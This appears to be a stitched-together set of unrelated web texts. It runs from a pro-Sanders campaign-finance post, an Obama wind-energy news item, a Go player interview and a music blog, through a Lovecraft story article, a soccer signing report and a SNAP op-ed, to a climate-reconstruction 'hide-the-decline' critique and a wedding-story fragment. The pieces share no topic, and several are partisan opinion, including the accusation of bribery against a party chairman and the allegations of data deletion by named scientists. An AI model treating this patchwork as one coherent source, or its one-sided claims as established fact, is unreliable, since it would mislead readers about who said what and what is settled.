Sen. Sanders pointed to an analysis by the Sunlight Foundation that found that two-thirds of the money raised by all the presidential candidates is going to super PACs, not campaigns. He also directly called out the Koch brothers for their plan to spend more than the Democratic and Republican parties on the 2016 presidential election.
Former President Carter recently called the current campaign finance system legalized bribery because that is what it is. The Republican Party is no longer interested in representing the interests of a majority of the American people because the party sold itself to wealthy billionaires and special interests. RNC Chairman Reince Priebus has gone so far as to call for billionaires to be allowed to make unlimited contributions to the political parties. In other words, Priebus wants to be able to legally take bribes from the Koch brothers.
The point of the Sanders legislation is to continue to build a public grassroots movement against the oligarchic takeover of the federal government. A public fund for candidates would remove some of the financial barriers and allow more people to run for office. The money would be available to any candidate who wants to run.
The bill is bigger than supporting Democrats or Republicans. The purpose is to promote the sort of democracy that the Koch brothers are intent on suffocating. The Sanders legislation is common sense, and even if it doesn’t pass this time, the bill will raise awareness about one of the most important issues that is currently impacting our country.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human: |
NEWTON, Iowa — President Barack Obama urged Congress on Thursday to extend tax credits for clean energy companies the White House says are responsible for some 37,000 jobs.
On his way back from a fundraising and campaigning tour in California, Obama stopped in the Midwestern state of Iowa, which he hopes to win over his likely Republican adversary Mitt Romney in November elections.
He toured wind turbine blade manufacturer TPI Composites, saying the wind industry has “taken off” thanks to tax credits. In Iowa alone, wind energy accounts for nearly 20 percent of electricity use.
“America now has enough wind capacity to power 10 million homes. So this is an industry on the rise… It’s an industry that’s putting people to work,” said Obama, a vocal backer of green energy jobs during his 2008 campaign.
But he warned that progress made on that front was now “in jeopardy” if Congress does not extend tax credits that will expire at the end of the year.
“If Congress doesn’t act, companies like this one will take a hit. Jobs will be lost,” Obama said.
“That’s not a guess. That’s a fact. And we can’t let it happen.”
He recalled that the city of Newton, Iowa, was hit hard by the closure of the headquarters of home and commercial appliance company Maytag, now a division of Whirlpool.
Heather Zichal, Obama’s deputy energy assistant, says up to 37,000 renewable energy jobs are at stake and could disappear if Congress does not extend the tax credits.
Obama has unveiled a new line of attack against his Republican adversaries in Congress, urging lawmakers to act on a “to do list” of measures aimed at boosting the weak economy.
The US unemployment rate fell to 8.1 percent in April but remains far from the five percent of early 2008, before the global financial crisis hit with full force. Weak job growth is one of the main threats looming over Obama’s chances of winning a second term. |
Antti Tormanen made it to a professional player!
On December 8, the Nihon Ki-in announced the Finnish-born Antti Törmänen (26) as a professional go player. Antti will debut as a professional player on April 1, next year. We were very happy for him and asked him for more details about it. He was so kind to answer our questions, which you can read in the following interview.
European Go News (EGN): „Hi Antti, Congratulations for becoming a professional player at The Nihon Ki-in! We are very happy for you! Before asking you about the pro exam, could you introduce yourself shortly?“
Antti: „Thank you! I am Antti Törmänen, a 26-year-old Bachelor of Science from Oulu, Finland. I started playing Go back in spring 2002, participated in over a hundred European amateur tournaments, and finally became insei at the Nihon Ki-in in fall 2011.“
EGN: „You have been staying in Japan, Tokyo recently. How long have you been living there?“
Antti: „I lived in Tokyo first for seven months in 2011-2012, after which I briefly returned to Finland. Since April 2014, I have been living here again, so altogether it comes to a bit over two years.“
EGN: „I heard, you were studying as an Insei in Tokyo, also with Nikola Mitic from Serbia. How was it to be an insei?“
Antti: „It’s difficult to give a brief answer. Even though the other insei are children, that fact is easily forgotten in the background, and the struggle to get upwards in the league rankings becomes the main focus. The games with insei and game reviews with professional teachers are by far the best learning experience I’ve had. On the other hand, if you get in a slump and start losing repeatedly, life could get very tough.“
EGN: „Can you explain the system of the professional exam at the Nihon Ki-in?“
Antti: „Normally, the Nihon Ki-in employs six professionals a year. One of these comes from the branch office in Ōsaka, chosen by an exam, and another one in a similar fashion from the branch in Nagoya. The Tokyo headquarters has three different exams. The female exam, held in January and February, decides one professional. The strongest insei by average ranking between April and June gets likewise employed—this is called the summer professional exam. Finally, the winter professional exam takes place in October and November, in which the top two players of 16 participants, both insei and outsiders, qualify for professional.Personally, I was made professional by special recommendation due to satisfactory results in both the insei league and the professional exam, similar to Hans Pietsch 18 years ago.“
EGN: „When did you get to know that you are going to participate in the pro exam? How did you feel about it? Did you expect it to become a professional?“
Antti: „The insei participants for the professional exam are decided by average ranking in the leagues in July and August; top 10 insei make it straight inside the main exam, and places 11-20 have to go through a preliminary with outsiders. I was playing in A class in July, and for the first time was able to remain there without dropping down, which secured my place in the exam. I imagined I would have gotten through the combined preliminary too, if necessary, but I did feel a sense of relief and could then concentrate fully on studying in August and September.
I didn’t make any assumptions about what kind of a score I would get in the exam, or if I could possibly make it or not. The top players of A class certainly felt stronger to me, but when we’re talking of a single game, anything can happen.“
EGN: „When did you play the first qualification game? How was the process of the qualification overall?“
Antti: „In addition to the 10 top players of July and August, six more players entered from the combined preliminary, held in September. B class insei and four outsiders fought for the six spots. Once the 16 players are decided, a two-month lasting round robin tournament is played on weekends, one game a day with thinking times similar to the European Go Congress.
The first game was on Saturday, October 3. My opponent was Ōomote Takuto, the Japanese amateur Meijin who also finally made it professional from the exam. I was somehow able to get in a good rhythm and keep the game close all the way until the end, and finally it turned out I won by half a point.“
EGN: „How did you feel before, during and after the decisive game?“
Antti: „There was no clean decisive game for me, since my becoming professional would depend on if the Nihon Ki-in personnel thought me worthy of recommendation or not. I did know that getting over a 50% winning ratio in the exam could make a big difference, however. After the final required win in the second-to-last game I did feel a little bewildered, wondering if “it" happened just then and there or not.“
EGN: „What is your plan now, after becoming a professional player?“
Antti: „I plan to remain in Tokyo and compete in professional tournaments indefinitely. Early on my salary will be fairly limited, so I imagine I will also be teaching go both online and offline, and possibly writing some Go literature in English.“
EGN: „Do you plan to come back to Europe in the future? Or do you plan to participate in a major European event, like EGC or Grand Slam?“
Antti: „I will at least pay a visit once in a while to keep up with my family and friends, but as of now I have no plans to play in European tournaments.“
EGN: „Thank you for your time! Europe is very happy for you!“
Antti: „Thank you!“
You can see results from qualification here (in Japanese). |
There are few artists our there that I feel are genius in their art. Justin Vernon of Bon Iver is certainly one of them. Perhaps what makes Vernon one of my favorites comes really in two parts: A) he didn’t need the help of the corporate monster over at Columbia or Sony to allow him to live his dream and B) he doesn’t feel the need to rush a new Bon Iver record strictly for the sake of capitalizing on his success.
Vernon lets the music come to him. He forces nothing. After experiencing massive success after the release of the self-titled “Bon Iver,” Vernon admirably shows great restraint in not riding his own coat tail here. So what has he been doing since then, you ask?
He’s been burning through the millions he’s made in recent years boosting the careers of his struggling, indie buddies. His first effort was recording a beautiful album, “Unmap,” with his friends in Milwaukee’s Collections of Colonies of Bees (under the name Volcano Choir). The record received a “Best New Music” 8.3 stamp of approval from Pitchfork, not to anyone’s surprise.
The most recent effort, however, may be my favorite. Most people know Vernon for his silky falsetto has displayed in nearly every Bon Iver tune out there. Well, he gets rid of that for this bluesy, Tom Petty-ish rock trio sound, The Shouting Matches.
Thanks to NPR, you can stream the entire record! |
"The Horror at Red Hook" Author H. P. Lovecraft Country United States Language English Genre(s) Horror Published in Weird Tales Publication type Periodical Media type Print (magazine) Publication date January 1927
"The Horror at Red Hook" is a short story by American writer H. P. Lovecraft. Written on August 1–2, 1925,[1] it was first published in the January 1927 issue of Weird Tales.[2]
Plot [ edit ]
The story begins with Detective Malone describing an on-duty incident in Red Hook, Brooklyn, that gave him a phobia of large buildings. Back-tracking to where it all began, Red Hook is described in detail, with its gangs and crime, and hinting at an occult underbelly.
The "case of Robert Suydam" is then told to be the driving force behind Malone's federally ordered involvement at Red Hook. Suydam's demeanor changes suddenly. Known as a shabby recluse, he is seen around town looking younger and more radiant. News arrives of his engagement to a well-to-do woman, while, at the same time, there is an increase in local kidnappings. A police raid, involving Malone, uncovers nothing useful from Suydam's Red Hook flat save a few strange inscriptions.
After Suydam's wedding, he and his bride leave on a ship. Aboard, a scream is heard and, when the crew enter Suydam's stateroom, they find him and his wife dead, with claw-marks on his wife's body. Later, some strange men from another ship come on board and lay claim to Suydam's body.
Malone enters Suydam's flat to see what he can find. In the basement, he comes across a door that breaks open and sucks him inside, revealing a hellish landscape. He witnesses human sacrifices and a ritual that reanimates Suydam's corpse. Malone is found in the basement of Suydam's flat, which has caved in inexplicably above him, killing everyone else inside. The tunnels and chambers uncovered in the raids are filled in and cemented, though, as Malone recounts, Red Hook never changes.
Characters [ edit ]
Thomas Malone An Irish-born New York police detective, "detailed to the Butler Street station in Brooklyn" before going on indefinite medical leave. A "Dublin University man born in a Georgian villa near Phoenix Park", he is said to have "the Celt's far vision of weird and hidden things, but the logician's quick eye for the outwardly unconvincing... In youth he had felt the hidden beauty and ecstasy of things, and had been a poet; but poverty and sorrow and exile had turned his gaze in darker directions, and he had thrilled at the imputations of evil in the world around." This morbid streak is offset by a "keen logic and a deep sense of humour". He is 42 at the time of "The Horror at Red Hook". Robert Suydam A "lettered recluse of ancient Dutch family, possessed originally of barely independent means, and inhabiting the spacious but ill-preserved mansion which his grandfather had built in Flatbush". Seen by most as "a queer, corpulent old fellow whose unkempt white hair, stubbly beard, shiny black clothes, and gold-headed cane earned him an amused glance", Malone knew of him as "a really profound authority on mediaeval superstition". On account of "certain odd changes in his speech and habits; wild references to impending wonders, and unaccountable hauntings of disreputable Brooklyn neighbourhoods", his relatives tried unsuccessfully to have him declared insane. He is about 60 in the time frame of the story.
Connections to other Cthulhu Mythos tales [ edit ]
"The Horror at Red Hook" is not generally considered to be part of the Cthulhu Mythos, lacking many of the elements that characterize it, such as totally alien cults, forbidden tomes, unknown gods and a sense of true "outsideness", all the cults and magic in the book having decidedly real world origins. However, Alan Moore used references to "The Horror at Red Hook" for his decidedly Cthulhu Mythos graphic novel and short story "The Courtyard" and its sequel, Providence. Lovecraft also recycled the dental identification for the remains of the protagonist for the ending of "The Thing on the Doorstep".
Robert Suydam lives in a "lonely house, set back from Martense Street". The Martense Family are the subterranean cannibals in "The Lurking Fear".
Inspiration [ edit ]
Lovecraft referred to the area's immigrant population by referring to Red Hook as "a maze of hybrid squalor".[3] He spelled out his inspiration for "The Horror at Red Hook" in a letter written to fellow writer Clark Ashton Smith:
The idea that black magic exists in secret today, or that hellish antique rites still exist in obscurity, is one that I have used and shall use again. When you see my new tale "The Horror at Red Hook", you will see what use I make of the idea in connexion with the gangs of young loafers & herds of evil-looking foreigners that one sees everywhere in New York.[4]
Lovecraft had moved to New York to marry Sonia Greene a year earlier, in 1924; his initial infatuation with New York soon soured (an experience fictionalized in his short story "He"), in large part due to Lovecraft's xenophobic attitudes. "Whenever we found ourselves in the racially mixed crowds which characterize New York, Howard would become livid with rage," Greene later wrote. "He seemed almost to lose his mind."[5]
Much of the magical background to the story was lifted from the articles on "Magic" and "Demonology" in the 9th edition of the Encyclopædia Britannica, written by anthropologist E. B. Tylor.[6] Daniel Harms and John Wisdom Gonce note the spell Lovecraft quotes and describes as a "demon evocation", was actually an incantation used for treasure hunting.[6] The use of the Yezidi as devil-worshipping villains seems to have been inspired by E. Hoffmann Price's "The Stranger from Kurdistan".[7]
Martense Street is not a fictional locale; it is one block North of Church Avenue. The Dutch Reformed Church in which Suydam was married is on the corner of Church and Flatbush Avenues.
Reception [ edit ]
Lovecraft himself said of "The Horror at Red Hook" that the tale was "rather long and rambling, and I don't think it is very good".[8]
Critics have tended to agree. Lin Carter called the story "a piece of literary vitriol".[9] Peter Cannon noted that "racism makes a poor premise for a horror story."[10] ST Joshi, in H. P. Lovecraft: A Life, called the story "horrendously bad".
Legacy [ edit ] |
Atlanta United has officially signed veteran goalkeeper, Brad Guzan, to a pre-contact. The 32-year-old goalkeeper will join Atlanta at the end of the Premier League season, Middlesbrough confirm.
Atlanta United will acquire Guzan with the top position in MLS’s Allocation Order ranking, giving the club the first right of refusal to any current or former US men’s national team player making their way to MLS. According to the official release, he will sign a “multi-year contract” with Atlanta. It’s not expected he’ll occupy a Designated Player spot.
Guzan has made 53 senior team appearances with the USMNT in addition to 146 appearances in the EPL for Aston Villa and Middlesborough since 2008.
After spending the last seven years with Aston Villa, Guzan was sold to Middlesborough after Villa was relegated at the end of last season. Guzan is a very experienced keeper who has generally been accepted as the back-up goalkeeper for the USMNT behind Colorado Rapid’s Tim Howard.
Guzan was drafted second overall in the 2005 MLS SuperDraft by Chivas USA and was named to MLS Best XI after the 2007 season. He was also awarded the Golden Glove Award after the 2015 CONCACAF Gold Cup.
Guzan spent two years at the University of South Carolina, made 38 appearances and was named second-team All-American his sophomore year.
Welcome to Atlanta, Brad Guzan! |
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(Photo: cinty ionescu / Flickr)While the rest of the world debates America’s role in the Middle East or its use of drones in Pakistan and Afghanistan, the U.S. Congress is debating just how drastically it should cut food assistance to the 47 million Americans – one out of seven people – who suffer from “food insecurity,” the popular euphemism for those who go hungry.
The U.S. Government began giving food stamps to the poor during the Great Depression. Even when I was a student in the 1960’s, I received food stamps while unemployed during the summers. That concern for the hungry, however, has evaporated. The Republicans – dominated by Tea Party policies – are transforming the United States into a far less compassionate and more mean-spirited society.
The need is great. Since the Great Recession of 2008, the food stamp programme – now called SNAP (Supplemental Nutrition Assistance Program), has doubled from $38 billion in 2008 to $78 billion in the last year. During 2012, 65 million Americans used SNAP for at least one a month, which means that one out of every five Americans became part of the swelling rolls of “needy families,” most of whom are women and children.
Democrats defend the new debit card program, which can only be used to purchase food, as feeding needy Americans at a time of high unemployment and great poverty. Republicans, for their part, argue that the programme is rife with fraud, that its recipients (who are mostly single mothers) are lazy and shiftless, and that we must make drastic cuts to reduce government spending. Their most Dickensian argument is that if you feed the poor, they won’t want to work.
But as the New York Times economiccolumnist Paul Krugman has repeatedly pointed out, welfare entitlements, including the food debit card, are not only good for families; they also good for the economy. People who receive such help spend the money immediately. Single mother hold down multiple jobs at minimum wages to keep their family together. The debit card allows them to go shopping and to buy needed groceries. Such entitlements boost spending and the economy, rather than depleting it.
Despite these arguments, the cuts have already begun. On November 1, 2013, Congress cut nearly five billion dollars from SNAP and Republicans now want to cut another $40 billion dollars. The stalemate has resulted in the failure of Congress to pass the farm bill, which provides SNAP subsidies to farms, mostly of which are large agricultural corporations.
Meanwhile, poverty grows, the stock market zooms to new heights, the wealth of the 1% increases, and corporate executives continue to get tax exemptions for business entertainment expenses, which allow corporations to deduct 50% of these costs from their annual taxes.
In all this discussion, the real face of poverty – single mothers – has strangely disappeared. Welfare policy in America has always favored mothers and children. In a country that values self-sufficiency and glorifies individualism, Americans have viewed men – except war veterans – as capable of caring for themselves, or part of the undeserving poor. Women, by contrast, were always viewed as mothers with dependents, people to be cared for and protected precisely because they are vulnerable and raise the next generation.
As I read dozens of think tank and government reports, and newspaper stories however, I am surprised to notice that even strong opponents of the cuts describe SNAP’s recipients as children, teenagers, seniors or the disabled. Why have single mothers disappeared from such accounts about the poor? There are plenty of “needy families,” “households,” and “poor Americans,” but the real face of poverty and the actual recipients of food assistance are single mothers, whose faces have been absorbed by the more abstract language of “poor Americans” and “needy households.”
Even the strongest opponents of these cuts don’t focus on women or mothers. Instead they publicize pinched-faced children – a better poster image – staring hungrily at food they cannot eat. Or, they discuss the public health impact these cuts may have on children. According to most reports, even from the Agriculture Department, “children and teenagers” make up almost half of the recipients of food assistance. But they don’t mention the mothers who receive this assistance in order to feed those children and teenagers. From the stories about food stamps, you’d think that only children, teenagers, the elderly and the disabled have gone hungry.
The words “women” or even “mothers” rarely appear. In a powerful column against the cuts, the liberal and compassionate New York Times columnist Nicholas Kristof, for example, argued that “two-thirds of recipients are children, elderly or disabled” and warned his readers about the long-range impact of malnourished children. He, too, never mentioned women, who are the main adult recipients of the SNAP program and who feed those children, elderly or disabled. Nor did he point out that those who apply for such assistance are the mothers and women who seek to nourish these children. It’s as though women are simply vehicles – not persons – in the reproduction process of the human race.
Yet the reality tells a different story. In 2010, for example, 42 percent of single mothers relied on SNAP; and in rural areas, the rate often rose as high as one half of all single mothers. What’s missing from this picture – on both sides – is the real faces of hunger, which is not “needy” families, or “poor Americans”, but single mothers with “food insecurity” for themselves and their families. According to the Center for Budget Priorities, women are twice as likely to use food stamps as anyone else in the population. They are the ones who apply for the SNAP debit card, go shopping, takes buses for hours to find discounted food supplies, and try to stretch their food to last throughout the month for their children, teenagers and, less often, husbands. They are the pregnant women with older children whose infants are born malnourished, and the “Americans” who, at the end of the month, make hasty runs to relatives, food banks and even join other dumpster divers.
When journalists do focus on the women who are recipients of food assistance, they discover a nightmare hiding in plain sight. These women are either unemployed, under-employed or service workers who don’t earn enough to feed themselves and their families. By the end of the month, they and their children frequently often skip meals or eat one meal a day until the next month’s SNAP assistant arrives
So why have women disappeared from a fierce national debate over who deserves food assistance? I’m not actually sure. Perhaps it is because so many adult women, like men, now work in the labour force and are viewed as individuals who should take care of themselves. Perhaps it is because Republicans find women’s appetite, as opposed to that of children, an embarrassment, hinting of sexual desire. Perhaps it is because this is part of the Republican war on women’s reproductive freedom: a single mother with children is somehow guilty of bringing on her own poverty.
Whatever the reason, the rhetoric does not match the reality. Once in while, the media publishes or broadcasts a “human interest” story that gives poor women a face” “It is late October,” one reporter begins, “so Adrianne Flowers is out of money to buy food for her family. Feeding five kids is expensive, and the roughly $600 in food stamps she gets from the federal government never lasts the whole month. “I’m barely making it,” said the 31-year-old Washington, D.C., resident and single mother.” End of story. On to weather and the sports.
For the most part, however, poor women remain invisible, even as the mothers who feed the children, teenagers, elderly and disable who live with them. They do not elicit compassion. If anything, they are ignored or regarded with contempt.
Whatever the reason, Americans are having a national debate about poor and needy Americans without addressing the very group whose poverty is the greatest. The result is that we are turning poor, single mothers, who are 85% of all single parents, into a newly invisible and undeserving group of recipients.
Republicans may view single mothers as sinful parasites who don’t deserve food assistance. But behind every hungry child, teenager and elderly person is a hungry mother who is exhausted from trying to keep her family together. Women who receive food assistance are neither invisible nor undeserving. They are working-class heroes who work hard -often at several minimal wage jobs – to keep their families nourished and together. |
In a twitter exchange among Jean S, Ronan Connolley and Tim Osborn, Ronan drew attention to an early spaghetti graph in a comment on MBH98 published by Phil Jones in Science on the day after (Apr 24, 1998) publication of Mann et al 1998. The Briffa reconstruction is in purple below. Like IPCC 2001, it hides the decline in the Briffa reconstruction (here a 1998 version) by deleting late 20th century values – here after 1950.
jones_comment-on=mbh98
Figure 1. From Jones 1998 comment on MBH98. Orange – Mann et al 1998; green – Jones et al 1998; purple – Briffa et al 1998.
Jones stated that all three reconstructions “clearly show” that the 20th century is the warmest in the 600-year period, with the most “dramatic feature” being the 20th century rise:
Despite the different methods of reconstruction and the different series used, or alternatively, because a few good ones are common to all three series, there is some similarity between the series. All clearly show the 20th century warmer than all others since 1400. The dramatic feature of all three records is the rise during the 20th century.
Mann et al published a Reply to Jones’ comment in June 1998 (with Jones as coauthor of the Reply). They agreed that Jones’ spaghetti diagram “demonstrate[d] the the robustness of the conclusion that the 20th-century warming is unusual in the context of the past several centuries”L
The comparison shown by Jones between Mann et al.’s Northern Hemisphere temperature reconstruction (1) and two other recent estimates is useful in several ways. For example, it demonstrates the robustness of the conclusion that the 20th-century warming is unusual in the context of the past several centuries, on the basis of largely independent estimates.
However, these claims are based on hide-the-decline: Jones deleted post-1940 values of the Briffa reconstruction, slightly enhancing the effect of the deletion by smoothing with post-deletion values only. Jones noted this truncation in the caption to the figure, where he stated that “tree-ring density data show a decline since the 1940s unrelated to temperature [see (9 – Briffa et al, in press; 10 – Briffa et al 1998 (Phil Trans London)] for more details], and the curve from (9) ends at 1940”, a precaution not taken by Mann in IPCC AR3. In the next graphic, I’ve done a blow-up of the 1900-2000 portion of the graphic to demonstrate this. I’ve also shown the deleted values of the Briffa reconstruction (using the nhlmt version from Briffa et al 1998). This hide-the-decline incident is a year earlier than hide-the-decline in Briffa and Osborn 1999 and Jones et al 1999.
jones-science-1998-cropped
Figure 2. Blow-up of Jones 1998 comment on MBH98. Briffa version is nhlmt from Briffa et al 1998.
In the next graphic, I’ve plotted the complete series – no hide-the-decline. When the decline is shown, one feels that even a reviewer for Science or Nature would cavil at the assertion that the “dramatic feature of all three records is the rise during the 20th century” or that the conclusion that “20th-century warming is unusual in the context of the past several centuries” is “robust”:
jones-nature-1998-with-decline
Figure 3. Jones 1998 diagram, showing decline in Briffa et al reconstruction (nhd2 version rescaled on same ratio as nhlmt to nhd1 and re-centering to match visually.
Jones did make some sensible comments in his Comment that have not previously drawn attention. Jones observed that one should be able to easily extract relative importance of the various proxies, speculating that “much of their success, in a statistical sense” must come from tree rings:
The mathematical technique used by Mann et al. (3) to produce the reconstructions could easily be adapted to show which proxy series are the most important. Although Mann et al. (3) do not explicitly rank the various proxies, much of their success, in a statistical sense, must come from the large number of tree-ring width series used.
Jones’s observation was correct, but no one seems to have attempted extracting the contribution of different proxies types until I did so in 2004-2005. My analysis showed that the contribution of all proxies except bristlecones was little different than white-to-low-order-red noise and that the HS came from a very small subset of all proxies. The climate community has chosen to ignore this point.
Jones also made the sensible observation that each new class of proxy had to prove itself – a precaution immediately abandoned in favor of Mannian armwaving.
Each paleoclimatic discipline has to come to terms with its own limitations (6, 7) and must unreservedly admit to problems, warts and all. A particular issue for all ice core and coral series and some new tree-ring work is what exactly an isotope series (be it O, H, or C) tells us about past temperature. Sensitivity to temperature cannot be assumed; it must be proved with instrumental data on both interannual, and, where possible, on longer (more than 20 years) time scales (7).
I must say that I was a little intrigued to find an example of hide-the-decline a full year before Briffa and Osborn 1999 or Jones et al 1999, previously the earliest hide-the-decline example. In previous analyses of hide-the-decline, I’ve repeatedly emphasized that the technique of deleting data to hide inconvenient results originated with CRU (I’ve previously termed it “Keith’s Science Trick”). Mann knew of CRU’s deletion of the decline, but, as Lead Author of IPCC AR3, Mann willingly and enthusiastically participated in the hide-the-decline scheme, because he didn’t want to “give fodder to the skeptics” or “dilute the message”. But the technique originated with CRU and the “exoneration” of Jones, Briffa and Osborn on hide-the-decline by Muir Russell and Oxburgh was totally undeserved. (Nor does assignment of blame to CRU excuse Mann’s participation in hide-the-decline as Lead Author of AR3, where Mann and CRU both were culpable.)
Postscript: the twitter exchange also discusses the provenance of the Briffa reconstruction version in IPCC AR3 Figure 2-21. IPCC cited Briffa 2000 (QSR), while the actual version used in AR3 comes from Briffa et al 2001. Tim Osborn stated that the IPCC version matched the green LFD curve in Briffa (2000) Figure 5. This seems to be only partly true: the LFD curve has the same shape as the AR3 curve, but appears to be scaled differently. |
Mr. DelliCarpini had long been openly gay.
“My parents have known I’m gay since I was 5,” he said. “I would refuse to eat until Madonna’s ‘Open Your Heart’ video would play, so it wasn’t a surprise. When I moved in with Lorenzo, he wasn’t out to his family or at his job. I respected that and understood.
“Some of my friends would say it was a challenge or issue, but it was never a problem. I knew this was a process, that Lorenzo would tell his family and people at work when he was ready. What I couldn’t wait for was to get rid of his furniture — a drab couch with two matching side tables.”
That first week, Mr. Vinti came home and found Mr. DelliCarpini and Ms. Assante seated in his living room, which was filled with new furnishings.
“Every day, a room would be a different color with new art on the walls,” Mr. Vinti said. “I’ve learned to go with the flow.”
In 2015, the theme was traveling. In April and May, they visited France, Germany, Hungary, Italy, Malta and Portugal. At each port of call, Mr. DelliCarpini expected to pop the question. But the timing never felt right.
“I didn’t want to stage it,” he said. “I wanted it to feel organic. And at every postcard spot, I couldn’t do it. I didn’t feel authentic. I was nervous. I never had the ring. I don’t like lying, and if he saw it, I wouldn’t know what to say. I wanted to recreate a moment we had in bed where we were talking and laughing and were so connected.” |
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